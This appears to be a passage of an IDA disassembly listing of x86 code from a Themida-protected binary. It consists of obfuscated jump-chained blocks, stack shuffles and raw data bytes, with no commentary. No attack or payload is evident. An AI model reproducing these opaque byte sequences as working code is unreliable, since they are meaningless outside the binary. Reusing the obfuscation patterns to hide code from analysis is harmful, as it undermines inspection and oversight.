		jmp	loc_59E7F4
; ---------------------------------------------------------------------------
		dw 487h
aShn		db '$\éHn',0
		db 0
; ---------------------------------------------------------------------------


loc_59DB67:				; CODE XREF: Themida_:0059EE68j
		push	dword ptr [esp+4]
		pop	eax
		pop	dword ptr [esp]
		pop	esp
		sub	esp, 4
		mov	[esp], esi
		sub	esp, 4
		jmp	loc_5A63F7
; ---------------------------------------------------------------------------
		dd 0FF43E7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DB89:				; CODE XREF: Themida_:00599468j
		mov	[esp], edi
		push	ebp
		jmp	loc_59807E
; ---------------------------------------------------------------------------
		dw 48Bh
		dd 4EC8324h, 89240C89h,	4EC83E1h, 50243489h, 57176857h
		dd 4F5F2E9Ah, 0DD0E781h, 0EFC122DAh, 288E902h, 14890000h
		dd 43AEE924h, 0EE81FFFFh, 0D155B61Eh, 260CC681h, 0EE8340BDh
		dd 66BA52FFh, 160927Fh,	0F6815AD6h, 1AFF21BDh, 0FFA6C7E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DBE5:				; CODE XREF: Themida_:005A3E4Ej
		sub	edi, 4A832B05h
		pop	ebx
		push	580Fh
		jmp	loc_596372
; ---------------------------------------------------------------------------
		dw 5366h
		dd 189CE9h, 81E58900h, 4C5h, 4C58100h, 0E9000000h, 0FFFFBBD7h
		dd 4C481h, 0D1E90000h, 29000011h, 0EAC15EF2h, 358BE905h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59DC26:				; CODE XREF: Themida_:0059DCB2j
		push	edx
		push	38296BD3h
		pop	edx
		not	edx
		xor	edx, 8407D2D4h
		jmp	loc_5A520E
; ---------------------------------------------------------------------------


loc_59DC3A:				; CODE XREF: Themida_:0059303Aj
		sub	eax, edx
		mov	edx, [esp]
		add	esp, 4
		xor	eax, [esp]
		xor	[esp], eax
		xor	eax, [esp]
		mov	esp, [esp]
		mov	[esp], esi
		sub	esp, 4
		mov	[esp], ebx
		push	dword ptr [esp]
		jmp	loc_59223E
; ---------------------------------------------------------------------------
		dw 74FFh
		dd 0C8B0424h, 4C48124h,	8F000000h, 0E92404h, 0BF000058h
		dd 498A46D0h, 347AE781h, 0C7E9133Ah, 2DFFFFB2h,	85DA0D7Ch
		dd 0BFE9C189h, 5B000012h, 0E9240C87h, 2BB8h
; ---------------------------------------------------------------------------


loc_59DC9C:				; CODE XREF: Themida_:0059F454j
		dec	eax
		shr	eax, 2
		shr	eax, 8
		sub	eax, 6E3E93Ch
		add	ebp, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ecx
		push	esi
		jmp	loc_59DC26
; ---------------------------------------------------------------------------
		db 0BEh
		dd 5DB76226h, 55EF031h,	0CF166EF0h, 5158C301h, 2D76B850h
		dd 0C20544B6h, 0E97F814Ah, 10CCh, 0BF57DDF7h, 486871D4h
		dd 0E7C1D7F7h, 9C36E907h, 8957FFFFh, 4A53E9E7h,	54510000h
		dd 12756859h, 0A6E90000h, 66000029h, 80E99C50h
		db 4Bh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DD07:				; CODE XREF: Themida_:005A5A8Aj
		push	esi
		mov	esi, 9641CBBh
		sub	edx, esi
		pop	esi
		jmp	loc_59CB91
; ---------------------------------------------------------------------------
		db 55h,	0BDh, 2
		dd 0E9000000h, 8DB0h, 0EBB1E95Fh, 835EFFFFh, 0E3C104C4h
		dd 4179E907h, 6B90000h,	554ED274h, 143209BDh, 6AE98107h
		dd 0E9250F57h, 0FFFFE60Eh, 7855BE56h, 0C68162B5h, 56560A9Bh
		dd 12FFEE81h, 15E91265h, 0FF000065h, 5E042474h,	8B24048Fh
		dd 5DE92424h, 1FFFF72h,	241C8BDEh, 6804C483h, 23C9h, 0BB241C89h
		dd 63134801h, 0FF947CE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59DD89:				; CODE XREF: Themida_:0059A1B4j
		dec	edx
		push	eax
		mov	eax, 0D2F2E30Ch
		add	edx, eax
		pop	eax
		sub	esp, 4
		mov	[esp], ebp
		mov	ebp, edx
		jmp	loc_5A61A6
; ---------------------------------------------------------------------------


loc_59DDA3:				; CODE XREF: Themida_:0059840Fj
		and	eax, ebx
		mov	ebx, [esp]
		add	esp, 4
		or	eax, eax
		jz	loc_59E58D
		push	7FF7h
		mov	[esp], ebx
		mov	ebx, esp
		add	ebx, 4
		sub	ebx, 4
		xchg	ebx, [esp]
		jmp	loc_59E651
; ---------------------------------------------------------------------------


loc_59DDD4:				; CODE XREF: Themida_:0059278Fj
		mov	[esp], edx
		mov	edx, esp
		jmp	loc_5A6499
; ---------------------------------------------------------------------------
		dw 0C181h
		dd 4, 3302C183h, 0C31240Ch, 240C3324h, 6624248Bh, 0E99CC83Bh
		dd 0FFFF9725h
; ---------------------------------------------------------------------------


loc_59DDFC:				; CODE XREF: Themida_:005A3596j
		xor	eax, edi
		pop	edi
		or	ebp, eax
		pop	eax
		jmp	loc_5A3574
; ---------------------------------------------------------------------------
		db 30h
		dd 5F2C58E1h, 0C8BE9h
		db 0
; ---------------------------------------------------------------------------


loc_59DE11:				; CODE XREF: Themida_:005937BBj
		push	ecx
		sub	dword ptr [esp], 708D2767h
		pop	ebx
		add	ebx, 708D2767h
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		add	ebx, edi
		jmp	loc_59908C
; ---------------------------------------------------------------------------
		db 83h,	0C4h, 4
		dd 29F468h, 243C8900h, 30A1E950h, 0C7810000h, 1B4EC804h
		dd 0E43E9h, 4C48300h, 8952C301h, 4C281E2h, 83000000h, 148704EAh
		dd 2C895C24h, 7721E924h, 0C681FFFFh, 4,	0FF9642E9h, 69BF57FFh
		dd 0D11C2D05h, 2AF781EFh, 0D117771Bh, 3C781E7h,	890C5989h
		dd 0EE815FFEh, 7CC6B78h, 0C681C601h, 7CC6B78h, 0E9F03158h
		dd 56Bh, 56EED81h, 2BE96696h, 8300002Eh, 0E8E904C4h
		db 0A2h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DEB7:				; CODE XREF: Themida_:00599C1Ej
		push	dword ptr [esp]
		pop	ebx
		add	esp, 4
		shl	ebp, 8
		push	esi
		mov	esi, 0FFFFFFFFh
		sub	ebp, esi
		pop	esi
		not	ebp
		xor	ebp, 0E5AE0965h
		mov	eax, ebp
		pop	ebp
		jmp	loc_5A26AD
; ---------------------------------------------------------------------------
		dw 8953h
		dd 4C381E3h, 83000000h,	1C8704C3h, 4055C24h, 33000000h
		dd 4312404h, 24043324h,	9069E9h
		db 0
; ---------------------------------------------------------------------------


loc_59DEFD:				; CODE XREF: Themida_:0059C414j
		mov	ebp, 0A78399Bh
		jmp	loc_59D2D3
; ---------------------------------------------------------------------------
		db 81h
		dd 3F1E46E3h, 81D3F70Ch, 0A0C42C3h, 5BD88910h, 31F0E9h
		dd 242C8900h, 42474FFh,	81242C8Bh, 4C4h, 24048F00h, 630DE95Ch
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DF36:				; CODE XREF: Themida_:0059E8B2j
		push	dword ptr [esp]
		pop	eax
		push	edx
		mov	edx, esp
		jmp	loc_59B0ED
; ---------------------------------------------------------------------------
		dd offset dword_522248+420h
		dw 5400h
		dd 8124048Fh, 42404h, 50590000h, 5C8AE9h, 4BD5500h, 1000000h
		dd 0E9835DE9h, 0AE1BE904h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59DF6A:				; CODE XREF: Themida_:005927D3j
		add	ebx, edx
		jmp	loc_59F57D
; ---------------------------------------------------------------------------


loc_59DF71:				; CODE XREF: Themida_:0059E7EFj
		add	ebp, 4
		xchg	ebp, [esp]
		mov	esp, [esp]
		push	edx
		push	eax
		push	ecx
		mov	ecx, 76FC5042h
		jmp	loc_597510
; ---------------------------------------------------------------------------
		dw 0DE89h
		dd 0FFB1FFE9h, 5BD800FFh, 67FFE953h, 0E9810000h, 1C754A11h
		dd 34DE9h, 4DE5D100h, 0C106EDC1h, 0BA5202E5h, 1C8338DAh
		dd 815AD531h, 0CD2265E9h, 0E9E9015Ch, 1C2Dh
; ---------------------------------------------------------------------------


loc_59DFC4:				; CODE XREF: Themida_:005A121Bj
		sub	eax, 211E1551h
		sub	eax, 4B871BFBh
		push	ecx
		mov	ecx, 5D0E620Bh
		add	eax, ecx
		pop	ecx
		push	dword ptr [esp]
		jmp	loc_5A2BBB
; ---------------------------------------------------------------------------
		db 83h
		dd 0BA6804C4h, 89000065h, 88502414h, 885251CCh,	0D38853E2h
		dd 5A5BDD88h, 88EB8853h, 0C8B5BDEh, 4C48124h, 58000000h
		dd 0FFB81BE9h, 2434FFFFh, 631D685Ah, 34890000h,	50E68924h
		dd 4B8h, 0E9C60100h, 2056h, 59CD0158h, 515DEE01h, 2B9h
		dd 0E9CE0100h, 0FFFF8772h, 2877EC80h, 3B6858E5h, 89000047h
		dd 0F9B7241Ch, 0FE08E7C0h, 50E7D0CFh, 0E728EFB4h, 3116E958h
		dd 5D540000h, 8FA1E953h, 0C481FFFFh, 4,	0F30E9h, 0CFE9AC00h
		dd 5000002Fh, 4EC81h, 9CE90000h, 21000057h, 24048BC7h
		dd 815E5456h, 4C6h, 4C68100h, 87000000h, 0E95C2434h, 6689h
		dd 0C381E389h, 4, 4C381h, 1C870000h, 0F0215C24h, 8B2434FFh
		dd 0C4812434h, 4, 0B04C483h, 7C840FC0h,	5600006Dh, 28AB68h
		dd 24148900h, 0FEBAh, 7E95200h,	51000030h, 2289E9h, 0D7E95100h
		db 0BAh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E0EB:				; CODE XREF: Themida_:00594F69j
		push	2927h
		mov	[esp], edx
		mov	edx, 768F55E9h
		and	edi, edx
		pop	edx
		and	edi, 5615115Bh
		xor	edi, 5000010Dh
		add	ecx, edi
		pop	edi
		xor	ecx, [esp]
		xor	[esp], ecx
		xor	ecx, [esp]
		pop	esp
		jmp	loc_5A690D
; ---------------------------------------------------------------------------
		db 66h,	8Bh, 4
		dd 4EC8324h, 56243489h,	0C681E689h, 4, 195D68h,	8330E900h
		dd 6D05FFFFh, 0C15C476Fh, 392D06E0h, 89BF920Ch,	24048BC6h
		dd 8104C483h, 4B01C6CEh, 0E9BF5725h, 0F702CB69h, 97EF81D7h
		dd 9AE734Eh, 0E727E9FEh, 0F830FFFFh, 73A9E9h, 0E6E95200h
		dd 66FFFF8Bh, 50240C8Bh, 24048B54h, 6804C483h, 48D5h, 0BB241C89h
		dd 3B75496h, 8FB95156h,	0BE593E45h, 681E1499h, 7A7EEE81h
		dd 3E94B21h
		db 0E6h, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E1A3:				; CODE XREF: Themida_:005A6EF1j
		pop	eax
		push	3895h
		mov	[esp], ebp
		sub	esp, 4
		mov	[esp], edi
		push	6FCD068Ah
		pop	edi
		jmp	loc_59B0F8
; ---------------------------------------------------------------------------
		db 0BEh, 4, 18h
		dd 74297C23h, 348B0424h, 4C48124h, 81000000h, 534D2404h
		dd 2C812036h, 6E37C724h, 0A63E93Ah, 0EC830000h,	241C8904h
		dd 42474FFh, 24048F5Bh,	824248Bh, 0E99C2404h, 0FFFF3D74h
		dd 5C3DCA81h, 21E93D9Eh, 8F00002Ch, 0E68EE902h,	0EC81FFFFh
		dd 4, 0BE243489h, 63CE24D5h, 5B34BE56h,	0E0B96B58h, 3108967Fh
		dd 24348BF1h, 0FF8F94E9h, 0CDB850FFh, 0E91E1C19h, 2C14h
		dd 42474FFh, 24048F5Bh,	4EC8358h, 81243C89h, 4ECh, 24148900h
		dd 7180BD55h, 0E5C1186Eh, 0ED814503h, 158F5AEAh, 6442BE56h
		dd 0F5092D18h, 5C5815Eh, 0E941D153h, 4808h
; ---------------------------------------------------------------------------


loc_59E278:				; CODE XREF: Themida_:005A58EFj
		sub	esp, 4
		jmp	loc_595AA6
; ---------------------------------------------------------------------------
		dd 4247401h, 8D4AE951h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E28A:				; CODE XREF: Themida_:0059452Ej
		pop	ecx
		xor	ebx, esi
		pop	esi
		mov	ebp, ebx
		pop	ebx
		neg	ebp
		sub	esp, 4
		mov	[esp], eax
		jmp	loc_59BF18
; ---------------------------------------------------------------------------


loc_59E2A1:				; CODE XREF: Themida_:00594E63j
		mov	eax, esp
		push	ecx
		push	7EBF6BE5h
		pop	ecx
		xor	ecx, 7EBF6BE1h
		add	eax, ecx
		pop	ecx
		add	eax, 4
		jmp	loc_5959DC
; ---------------------------------------------------------------------------
		db 0BBh
		dd 1B6A72BAh, 2A34C381h, 0FDE9717Ch, 0C100004Ch, 0F38105E3h
		dd 0FD514D73h, 1F6C281h, 0DA01280Fh, 0FF67B0E9h, 5FFE31FFh
		dd 4EC81h, 2C890000h, 0C649E924h, 3358FFFFh, 0C31240Ch
		dd 240C3324h, 0E924248Bh, 11F5h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		sub	esp, 4
		mov	[esp], edi
		mov	edi, 4
		sub	ebp, 303574A5h
		add	ebp, edi
		jmp	loc_59401A
; ---------------------------------------------------------------------------
		dw 0F830h
		dd 0E9241C8Bh, 0FFFFA482h, 4C481h, 0F0010000h
		db 8Bh,	34h, 24h
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		add	ebp, 4
		add	ebp, 4
		xchg	ebp, [esp]
		pop	esp
		push	dword ptr [esp]
		pop	esi
		add	esp, 4
		jmp	loc_59AA34
; ---------------------------------------------------------------------------
		dw 0CBBh
		dd 81265F7Eh, 0DD1D0ACBh, 81D3F742h, 0C70CACBh,	5E3C109h
		dd 25FC381h, 0D9094256h, 0FFB4DCE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E379:				; CODE XREF: Themida_:005957BDj
		neg	eax
		jmp	loc_59D0B8
; ---------------------------------------------------------------------------


loc_59E380:				; CODE XREF: Themida_:0059C49Ej
		push	eax
		mov	eax, 30954EEAh
		add	eax, 0FFFFFFFFh
		jmp	loc_5A1FFD
; ---------------------------------------------------------------------------


loc_59E38E:				; CODE XREF: Themida_:005A00A3j
		mov	[esp], eax
		mov	eax, 7520685Dh
		add	eax, 8ADF97A7h
		add	edi, eax
		mov	eax, [esp]
		jmp	loc_5A5C1E
; ---------------------------------------------------------------------------
		db 50h,	0B8h, 0FBh
		dd 31BE17B5h, 86E958C7h, 89FFFF41h, 0E953243Ch,	817h, 405E089h
		dd 83000000h, 0FF5004C0h, 58042474h, 0FF5045E9h, 241C31FFh
		dd 4EC81h, 1C890000h, 49CE924h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E3E2:				; CODE XREF: Themida_:0059D042j
		and	eax, edx
		pop	edx
		sub	esp, 4
		mov	[esp], esi
		mov	esi, 7AB474F3h
		and	esi, 1BE44A47h
		shr	esi, 6
		push	ebx
		mov	ebx, 68A13800h
		xor	ebx, 0DD160BBFh
		sub	esi, ebx
		jmp	loc_59551C
; ---------------------------------------------------------------------------
		db 0FFh
		dd 80E92434h
		db 7Eh,	2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E417:				; CODE XREF: Themida_:00593CE6j
		pop	dword ptr [esp]
		pop	esp
		mov	[esp], eax
		jmp	loc_5A050D
; ---------------------------------------------------------------------------


loc_59E423:				; CODE XREF: Themida_:0059F9A0j
		push	dword ptr [esp]
		pop	eax
		add	esp, 4
		jmp	loc_5A16A4
; ---------------------------------------------------------------------------
		dw 0C201h
		dd 6560E958h, 0E953FFFFh, 0FFFFF32Fh, 7446B850h, 0F20D2DDBh
		dd 0E9696803h, 0FFFF9916h, 4C281h, 59E90000h
		db 40h,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E45B:				; CODE XREF: Themida_:00598F5Dj
		push	eax
		mov	eax, 7E39608Fh
		mov	ebp, eax
		mov	eax, [esp]
		add	esp, 4
		dec	ebp
		push	edx
		mov	edx, 55FE4818h
		shr	edx, 2
		xor	edx, 19426816h
		xor	edx, 476C3951h
		jmp	loc_59EAE9
; ---------------------------------------------------------------------------
		dd 0E8006604h, 452C662Ch, 56240C8Bh, 0C681E689h, 4, 0FF59DEE9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E49D:				; CODE XREF: Themida_:00593EC6j
		push	dword ptr [esp]
		pop	ecx
		add	esp, 4
		sub	esp, 4
		mov	[esp], esi
		push	ebp
		jmp	loc_599A2D
; ---------------------------------------------------------------------------


loc_59E4B3:				; CODE XREF: Themida_:00595B59j
		xchg	eax, [esp]
		jmp	loc_5A6448
; ---------------------------------------------------------------------------


loc_59E4BB:				; CODE XREF: Themida_:0059B76Cj
		neg	esi
		jmp	loc_593138
; ---------------------------------------------------------------------------
aFAS0YsS	db 'f[€Á‘0ÈYS³è(Ø[',0
		db 0C3h, 8Bh, 4
		dd 4C48324h, 5053EB80h,	0C4FEE1B4h, 0E983B252h,	29h
; ---------------------------------------------------------------------------


loc_59E4E8:				; CODE XREF: Themida_:0059D1E0j
		not	esi
		xchg	eax, esi
		push	ecx
		mov	ecx, 3D5F0763h
		shr	ecx, 2
		add	ecx, 646A5AD1h
		inc	ecx
		neg	ecx
		xor	ecx, 1477393Eh
		sub	ecx, 9C7C4996h
		sub	eax, ecx
		pop	ecx
		jmp	loc_59B89B
; ---------------------------------------------------------------------------
		db 80h,	0C2h, 0E7h
		dd 813C280h, 24148BD4h,	0FFACD3E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E521:				; CODE XREF: Themida_:0059477Ej
		pop	esi
		neg	eax
		sub	eax, 562368CFh
		jmp	loc_5A0B69
; ---------------------------------------------------------------------------
		dw 4BBh
		dd 81000000h, 955E98C1h, 51D9016Fh, 0C1815954h,	4, 6857E957h
		dd 50BD0000h, 815D831Bh, 0D959AEF5h, 7E5C17Dh, 0ED81D5F7h
		dd 46DA26AEh, 8104E5C1h, 267E5F5h, 436DE95Dh, 580000h
		dd 0DE959EAh
		db 0CBh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E577:				; CODE XREF: Themida_:005987A3j
		add	[esp+8], eax
		sub	dword ptr [esp+8], 2C572F37h
		pop	eax
		mov	ecx, [esp]
		add	esp, 4
		pop	dword ptr [edi+24h]


loc_59E58D:				; CODE XREF: Themida_:0059DDB0j
		push	314Bh
		jmp	loc_5A6163
; ---------------------------------------------------------------------------
		db 66h
		dd 0E9240C8Bh, 7C38h, 0E92434FFh, 0FFFFA020h, 2D66AD66h
		dd 5665967h, 9CE93F9Bh
		db 0DCh, 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E5B7:				; CODE XREF: Themida_:0059AD0Ej
		push	eax
		jmp	loc_5986BC
; ---------------------------------------------------------------------------


loc_59E5BD:				; CODE XREF: Themida_:0059B14Dj
		pop	ecx
		sub	esp, 4
		mov	[esp], ecx
		jmp	loc_5A4344
; ---------------------------------------------------------------------------


loc_59E5CC:				; CODE XREF: Themida_:005A180Fj
		neg	ecx
		push	esi
		jmp	loc_59379F
; ---------------------------------------------------------------------------


loc_59E5D4:				; CODE XREF: Themida_:005A0CBFj
		add	eax, ecx
		pop	ecx
		add	eax, 2A018E2h
		sub	eax, ebp
		sub	eax, 2A018E2h
		push	esi
		jmp	loc_595E8E
; ---------------------------------------------------------------------------


loc_59E5E9:				; CODE XREF: Themida_:00595927j
		mov	ebx, 5D8D3BE4h
		jmp	loc_59EBAE
; ---------------------------------------------------------------------------


loc_59E5F3:				; CODE XREF: Themida_:00596DDBj
		pop	esp
		jmp	loc_59DA1D
; ---------------------------------------------------------------------------


loc_59E5F9:				; CODE XREF: Themida_:0059BE03j
		mov	ecx, 0C353D54Dh
		add	ebp, ecx
		pop	ecx
		and	eax, ebp
		mov	ebp, [esp]
		jmp	loc_597873
; ---------------------------------------------------------------------------
		db 59h
		dd 0FFE326E9h, 0ECE981FFh, 9F74957h, 8FE959CFh
		db 1Ah,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59E61F:				; CODE XREF: Themida_:005A6CCDj
		not	eax
		xchg	eax, ecx
		shr	ecx, 6
		neg	ecx
		sub	ecx, 8233236Fh
		and	edi, ecx
		push	dword ptr [esp]
		jmp	loc_59BF71
; ---------------------------------------------------------------------------


loc_59E637:				; CODE XREF: Themida_:005966C7j
		add	ebx, 4
		add	ebx, 4
		xchg	ebx, [esp]
		pop	esp
		neg	eax
		sub	eax, 34CC641Ch
		push	edi
		jmp	loc_5A61C5
; ---------------------------------------------------------------------------


loc_59E651:				; CODE XREF: Themida_:0059DDCFj
		mov	esp, [esp]
		mov	[esp], edx
		mov	edx, 1Ch
		jmp	loc_5A5E04
; ---------------------------------------------------------------------------


loc_59E661:				; CODE XREF: Themida_:005A67EEj
		pop	edx
		mov	ebp, [esp]
		add	esp, 4
		jmp	loc_5A4006
; ---------------------------------------------------------------------------
		db 0B6h, 9Bh, 0FEh
		dd 22F680CEh, 2710E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E679:				; CODE XREF: Themida_:005A6DD9j
		sub	eax, 4
		push	eax
		push	dword ptr [esp+4]
		jmp	loc_593D42
; ---------------------------------------------------------------------------
		dw 0E5E9h
		dd 51FFFF38h, 6043E9h, 81435A00h, 1253D6EBh, 138D682Fh
		dd 4890000h, 3A8AB824h,	0E8C17C53h, 6FB50502h, 0DE2D0188h
		dd 1D50C02h, 0DA0158C3h, 0E9241C8Bh, 2D10h, 0E9241489h
		dd 0FFFFEF4Ah, 5EAC15Bh, 279DE942h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E6D2:				; CODE XREF: Themida_:00599823j
		push	esp
		pop	edx
		add	edx, 4
		push	eax
		mov	eax, 4
		jmp	loc_59B1EA
; ---------------------------------------------------------------------------
		db 5Eh,	52h, 0E9h
		dd 0FFFF8B69h
; ---------------------------------------------------------------------------


loc_59E6EC:				; CODE XREF: Themida_:005990A5j
		push	3D02h
		mov	[esp], ebx
		jmp	loc_59277B
; ---------------------------------------------------------------------------
		db 66h,	68h, 4Ch
		dd 1489667Fh, 4EC8324h,	0E9240489h, 14Ch, 4244C01h, 4244481h
		dd 0B11BF1h, 592434FFh,	0FFAA56E9h, 2E0C1FFh, 2A025805h
		dd 0E9C68902h, 0FFFF6C85h, 1966E981h, 0C12954C8h, 1966C181h
		dd 0C15854C8h, 0E9C103E9h, 0F6BF5702h, 0E943AB03h, 0FFFF5360h
		dd 0FFC0B60Fh, 15E98734h, 8BFFFF38h, 4892424h, 0E9E08924h
		dd 2435h
; ---------------------------------------------------------------------------


loc_59E768:				; CODE XREF: Themida_:0059FB34j
		xor	eax, 41B86261h
		mov	ebx, eax
		pop	eax
		push	ebp
		mov	ebp, 1C5D3B3Eh
		mov	edx, 4B6C9DF9h
		sub	edx, ebp
		pop	ebp
		xor	edx, ebx
		pop	ebx
		push	ebx
		mov	ebx, 6E865FE4h
		add	ebx, 0B955BC03h
		jmp	loc_5982BE
; ---------------------------------------------------------------------------
		dw 0C581h
		dd 26F75D9Ch, 592434FFh, 0FF8F00E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59E7A1:				; CODE XREF: Themida_:005A5DFFj
		add	ecx, 4
		jmp	loc_59F953
; ---------------------------------------------------------------------------
		db 5Bh,	87h, 34h
		dd 34FF5C24h, 243C8B24h, 4C481h, 8CE90000h, 51FFFF3Dh
		dd 468h, 240C8B00h, 53E08950h, 534AADBBh, 0E9D3F70Dh, 0FFFF7566h
; ---------------------------------------------------------------------------


loc_59E7D8:				; CODE XREF: Themida_:0059B6CEj
		sub	ecx, 7DFB1FC9h
		jmp	loc_59357E
; ---------------------------------------------------------------------------
a_san		db '_é€N',0
		db 0
; ---------------------------------------------------------------------------


loc_59E7E9:				; CODE XREF: Themida_:0059F061j
		add	ebp, 4
		jmp	loc_59DF71
; ---------------------------------------------------------------------------


loc_59E7F4:				; CODE XREF: Themida_:0059DB59j
		pop	dword ptr [esp]
		mov	esp, [esp]


loc_59E7FA:				; CODE XREF: Themida_:0059D110j
		push	507Eh
		mov	[esp], ebx
		push	dword ptr [esp]
		push	dword ptr [esp]
		jmp	loc_59C3E8
; ---------------------------------------------------------------------------
		db 89h,	0F2h, 5Eh
		dd 357FE9h, 11BE5600h, 8177F112h, 42F7F3C6h, 5EF229C8h
		dd 0AD3EE81h, 0D6017187h, 4DD9E9h, 4EC8100h, 89000000h
		dd 45BE2434h, 0C15E7528h, 0EE8108EEh, 6B42031Fh, 5C6BBA52h
		dd 0EAC15B0Ah, 0E9D2F708h, 0FFFF6881h, 0C288ECB0h, 47B5E9h
		dd 49F78100h, 551E6025h, 0BD5D32BDh, 0A475E94Fh
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E872:				; CODE XREF: Themida_:0059F0FFj
		pop	eax
		sub	esp, 4
		jmp	loc_5A2BE5
; ---------------------------------------------------------------------------
		dw 431h
		dd 4C5AE924h, 1489FFFFh, 4EC8124h, 89000000h, 4812424h
		dd 424h, 40D1E900h
		db 2 dup(0)
; ---------------------------------------------------------------------------


loc_59E89E:				; CODE XREF: Themida_:0059F6E8j
		mov	[esp], esi
		mov	esi, 3AB07125h
		or	eax, esi
		pop	esi
		neg	eax
		shr	eax, 2
		push	eax
		inc	dword ptr [esp]
		jmp	loc_59DF36
; ---------------------------------------------------------------------------
		push	ebp
		mov	ebp, esp
		jmp	loc_59828A
; ---------------------------------------------------------------------------


loc_59E8BF:				; CODE XREF: Themida_:005A023Dj
		mov	ebx, 3B91F10h
		jmp	loc_59D369
; ---------------------------------------------------------------------------
		db 0F6h, 0DCh, 80h
		dd 0C4FEACCCh, 286DC480h, 0C7FE58E7h, 0FFE5E1E9h, 0D9B652FFh
		dd 0FFB45066h, 5866E600h, 0F604E6C0h, 0C1E680DEh, 803CE680h
		dd 5FE9FFEEh, 0B2FFFFBAh, 15C2805Ch, 0E9h, 5AD32800h, 28372C5Ah
		dd 8B3704D8h, 0E956241Ch, 4A3h,	4B5AD301h, 8105EBC1h, 622A26EBh
		dd 5BDD09A9h, 116CC581h, 0E80929C7h, 0FFD9D4E9h, 0EC815AFFh
		dd 4, 81240C89h, 44B2434h, 815A3151h, 51044BF2h, 0BD555931h
		dd 22542D51h, 815DEA01h, 4974E4C2h, 81C20115h, 4974E4EAh
		dd 0EAA6E915h
		db 2 dup(0FFh)
; ---------------------------------------------------------------------------


loc_59E96A:				; CODE XREF: Themida_:00592239j
		push	edi
		push	ebx
		jmp	loc_594B1F
; ---------------------------------------------------------------------------


loc_59E971:				; CODE XREF: Themida_:0059A532j
		mov	al, 5Bh
		inc	al
		shl	al, 8
		and	al, 0FEh
		add	al, 2Ch
		jmp	loc_5A1F6B
; ---------------------------------------------------------------------------
		db 1, 0CAh, 59h
		dd 0EBDE956h, 0B8500000h, 4, 5758C701h,	42474FFh, 0E92434FFh
		dd 0FFFF5CF0h, 8B59C889h, 0C483243Ch, 58C68904h, 6A3AC781h
		dd 0F7016E65h, 6A3AEF81h, 348B6E65h, 675FE924h,	68550000h
		dd 6AD650A7h, 0FF6066E9h, 0B9515AFFh, 4, 3585E9h
		db 0
; ---------------------------------------------------------------------------


loc_59E9D9:				; CODE XREF: Themida_:0059832Fj
		add	ecx, 4
		add	ecx, 4
		xchg	ecx, [esp]
		pop	esp
		jmp	loc_591F76
; ---------------------------------------------------------------------------
		db 88h
		dd 241C8B39h, 0E904C483h, 0FFFF55E9h
; ---------------------------------------------------------------------------


loc_59E9F8:				; CODE XREF: Themida_:0059803Dj
		xor	[esp], ebp
		xor	ebp, [esp]
		pop	esp
		jmp	loc_5A0E2E
; ---------------------------------------------------------------------------
		dd 0EBE9E589h, 21000014h, 85E95DEBh, 5BFFFF40h,	4C481h
		dd 0AC680000h, 8900002Dh, 1A682404h, 89000036h,	91E92434h
		db 1Fh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EA2F:				; CODE XREF: Themida_:005995EDj
		add	edx, 3C550939h
		jmp	loc_596EC7
; ---------------------------------------------------------------------------
		dw 34FFh
		dd 0C4815E24h, 4, 0BD55C201h, 5E4D2136h, 0FFA9B6E9h, 240C8BFFh
		dd 0E7895752h, 4C781h, 0EF830000h, 243C8704h, 48F545Ch
		dd 24048324h, 13E95A04h, 5A000047h, 0D3DDE957h,	3489FFFFh
		dd 18B26824h, 4890000h,	7E47B824h, 0E0C13CDBh, 23BB2D05h
		dd 9535658Bh, 0E9200FFEh, 0FFFFF3D9h, 5F04C800h, 9B60E959h
		dd 5559FFFFh, 0FFFA9DE9h, 4BA52FFh, 1000000h, 0E8E95AD1h
		db 2Dh,	2 dup(0)
; ---------------------------------------------------------------------------


loc_59EABB:				; CODE XREF: Themida_:0059669Bj
		push	725Fh
		mov	[esp], ecx
		mov	ecx, 24h
		push	ebx
		push	edx
		jmp	loc_5A16BA
; ---------------------------------------------------------------------------


loc_59EACF:				; CODE XREF: Themida_:005A2674j
		mov	eax, 0B0C15A2h
		mov	ecx, 0B0C1586h
		jmp	loc_5996FB
; ---------------------------------------------------------------------------
		dw 6852h
		dd 2D156636h, 0FF76D1E9h
		db 0FFh
; ---------------------------------------------------------------------------


loc_59EAE9:				; CODE XREF: Themida_:0059E47Fj
		sub	edx, 16761CD6h
		push	ebp
		mov	ebp, 0CB245994h
		xor	edx, ebp
		pop	ebp
		sub	ebp, edx
		jmp	loc_5A41D3
; ---------------------------------------------------------------------------
		dd offset dword_4D677C+1ECh
		align 4
		dd 52243489h, 0C281E289h, 4, 81E38953h,	4C3h, 4EB8300h
		dd 6EE9E9h, 2CE94300h, 53FFFF88h, 200BBh, 1C5F0900h, 1167E9h
		dd 0E9D33100h, 0FFFF54BCh
; ---------------------------------------------------------------------------


loc_59EB3C:				; CODE XREF: Themida_:0059ADD2j
		xor	ecx, 6C6B1B9Eh
